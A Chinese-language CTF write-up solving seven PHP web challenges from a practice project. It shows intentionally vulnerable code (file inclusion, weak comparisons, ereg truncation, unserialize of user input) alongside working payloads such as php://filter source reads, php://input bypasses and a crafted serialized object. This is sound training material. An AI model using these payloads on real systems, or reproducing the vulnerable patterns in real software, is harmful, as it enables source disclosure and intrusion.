VulnCTF的练习教室-Web解题思路

项目地址:https://github.com/jianmou/VulnCTF

 

Web1 : LFI|伪协议

访问题目

1

提示代码如注释,那就打开网页源码看看

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
    header("Content-Type: text/html;charset=utf-8"); 
    $page=$_GET['page'];
    if (isset($_GET['page'])){
        include("$page");
    } 
    else{
        echo 'page!!!!'; 
    } 
?>

发现是文件包含,那我们在url加上?page=Y29uZmln.php看看

phpinfo的页面,搜索关键词flag和查看网页源码也没有什么发现

它题目提示是伪协议,那么直接使用php伪协议来读取下源码看看

1
?page=php://filter/read=convert.base64-encode/resource=Y29uZmln.php

把源码成功以base64加密的方式读取

base64使用工具解一下,成功拿到flag

 

Web2 : PHP黑魔法|strcmp

访问题目

提示密码错误,看样子是需要传入参数password

还是提示密码错误,那传个数组试试password[]=1,把password当作数组传入

得到flag

题目源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
	$password=$_GET['password'];

	if(strcmp('cab56ab0de5376d2a0c73307ea011da4',$password)){
	    echo 'password is false ! ! ! ! !';
	}else{
	    echo 'flag is here!!<br>';
	    echo 'flag{vUlnCtF_This_iS_a_FlAg}';
	}
?>

原理解释:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
    if(null){
        echo 'test';
    }else{
        echo 'test2';
    }

    if(null==0){
        echo '123456';
    }else{
        echo '654321';
    }
       
    if(null===0){
        echo'abc';
    }else{
        echo'cba';
    }
?>

 

Web3 : PHP黑魔法|弱类型==|===比较

访问题目

右键查看页面源代码

1
2
3
$username == $password
sha1($name) === sha1($password)
die $flag

首先要确保usernamepassword的值不能相同,其次sha1加密之后的namepassword的值又必须完全相同。我们知道,这时的a[] = 1;所以username[] = 1password[]= 2相比较,可以跳过第一个判断,而如果使用sha1对一个数组进行加密,返回的将是NULLNULL===NULL,这是成立的,所以构造两个数组,就能成功拿到flag

1
?username[]=1&password[]=2

题目源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
	$flag = 'flag{VulN_This_is_A_flag}';
	if (isset($_GET['username']) and isset($_GET['password']))
	{
		if ($_GET['username'] == $_GET['password']){
			echo '<p>You password can not be your username !</p>';
		}
		else if (sha1($_GET['username']) === sha1($_GET['password'])){
			die('Flag:'.$flag);
		}
		else{
			echo '<p>Invalid password</p>';
		}
	}
?>

 

Web4 : PHP优先级|绕过and后面的is_numeric()

访问题目

老样子,右键查看页面源代码

is_numeric()函数用于检测变量是否为数字或数字字符串。若是则为true,否则为false

当有两个is_numeric判断并用and连接时,and后面的is_numeric可以绕过

php中,赋值运算比ANDOR高,但是低于&&||

1
?a=1&b=2

image-20200509145910651

题目源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php
    header("Content-Type: text/html;charset=utf-8"); 
    
    $a = 'test';
    $b = 'test2';

    $a = $_GET['a'];
    $b = $_GET['b'];

    $c = is_numeric($a) and is_numeric($b);

    if($c){
    print "flag{Flag_iS_VulnCtf}";
    }
    else{
    print "is_numeric(a) and is_numeric(b) error !";
    }
?>

因为题目的代码里面,同时出现了赋值和and,所以当我们访问以下URL的时候

image-20200509145910651

由于赋值优先级高,所以先把is_numeric(a)赋值给了c然后在进行and,于是就直接输入flag

 

Web5 : PHP黑魔法|ereg()截断

访问题目

image-20200509152237648

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
            $str = "if (isset ($_GET['password'])) {

            if (ereg (\"^[a-zA-Z0-9]+$\", $_GET['password']) === FALSE)

                echo 'You password must be alphanumeric';

            else if (strpos ($_GET['password'], '--') !== FALSE)

                require(\"flag.txt\");

            else

            echo 'Invalid password';

        }";

ereg`函数存在两个漏洞:

  • ereg函数中的参数值如果为数组,会返回false
  • %00截断,在遇到%00的时候会认为字符串结束了

第一种做法,将password构造一个array[],传入之后,ereg是返回NULL的,===判断NULLFALSE,是不相等的,所以可以进入第二个判断,而strpos处理数组,也是返回NULL,注意这里的是!==(非恒等于)NULL!==FALSE,条件成立,拿到flag

1
?password[]=--

image-20200509155153568

第二种做法,ereg读到%00的时候,就截止了,所以可以构造1%00--,拿到flag

1
?password=1%00--

image-20200509155346622

题目源代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
<?php

    if (isset ($_GET['password'])) {

        if (@ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)

            echo 'You password must be alphanumeric';

        else if (@strpos ($_GET['password'], '--') !== FALSE)

            require("flag.txt");

        else

        echo 'Invalid password';

        }
?>

 

Web6 : PHP弱类型|绕过$a==0

访问题目

image-20200509160101791

应该是只拿到了一半的加密字符,根据题目的提示要绕过$a==0

php字母==0''==0'.'==0

1
?a=.

image-20200509160811635

成功的拿到了全部的加密字符,base64解密一下

image-20200509160953486

 

Web7 : 伪协议绕过file_get_contents()

访问题目

image-20200509161126459

右键查看源代码

image-20200509161354214

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<!--  
$user = $_GET["user"];  
$file = $_GET["file"];  
$pass = $_GET["pass"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){  
    echo "hello admin!<br>";  
    include($file); //class.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

image-20200509162728434

利用php://input绕过对user的检验并用php://filter读取class.php的源码(php://input得到原始post数据,这里用的是include $file,但我们要的是源码不是让他执行,要用php://filter)

1
2
3
4
5
6
7
8
#读取index.php和class.php
#GET
?user=php://input&file=php://filter/read=convert.base64-encode/resource=index.php

?user=php://input&file=php://filter/read=convert.base64-encode/resource=class.php

#POST
the user is admin

使用base64解码后,得到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#index.php
<?php  
    
    $user = $_GET["user"];  
    $file = $_GET["file"];  
    $pass = $_GET["pass"];  
      
/*
	isset函数是检测变量是否设置。 
	若变量不存在则返回 FALSE
	若变量存在且其值为NULL,也返回 FALSE
	若变量存在且值不为NULL,则返回 TURE 
	file_get_contents — 将整个文件读入一个字符串
    preg_match — 执行匹配正则表达式
*/
    if(isset($user)&&(file_get_contents($user,'r')==="the user is admin")){  
        echo "hello admin!<br>";  
        if(preg_match("/f1aG/",$file)){  
            exit();  
        }else{  
            include($file); //class.php  
            $pass = unserialize($pass);  
            echo $pass;  
        }  
    }else{  
        echo "you are not admin ! ";  
    }  
      
?>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
#class.php
<?php  
      
    class Read{//f1aG.php  
        public $file;  
        public function __toString(){  
            if(isset($this->file)){  
                echo file_get_contents($this->file);      
            }  
            return "__toString was called!";  
        }  
    }  
?>

得到class.php之后发现这个Read类里有魔法函数,并且有个echo file_get_contents($this->file);

首先要让file=class.php,我们要执行class.php里的函数,不是读源码 其次序列化里还是要用php://filterf1aG.php的源码,因为file_get_contents函数的原因,无法得到<?php …?>里的内容

复制class.php的源码,修改一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
class Read {
	//f1aG.php
	public $file;
	public function __toString() {
		if (isset($this->file)) {
			echo file_get_contents($this->file);
		}
		return "__toString was called!";
	}
}

$a = new Read();
$a->file = 'php://filter/read=convert.base64_encode/resource=f1aG.php';
echo serialize($a);
?>

扔到php在线工具里运行下,得到序列化后的内容

1
O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64_encode/resource=f1aG.php";}

image-20200509165420304

接着把这个序列化字符串赋值给pass,以及用file包含class.php,构造出:

1
2
3
4
5
#GET
?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1aG.php";}

#POST
the user is admin

image-20200509170130329

base64解密一下,成功的拿到flag

image-20200509170103708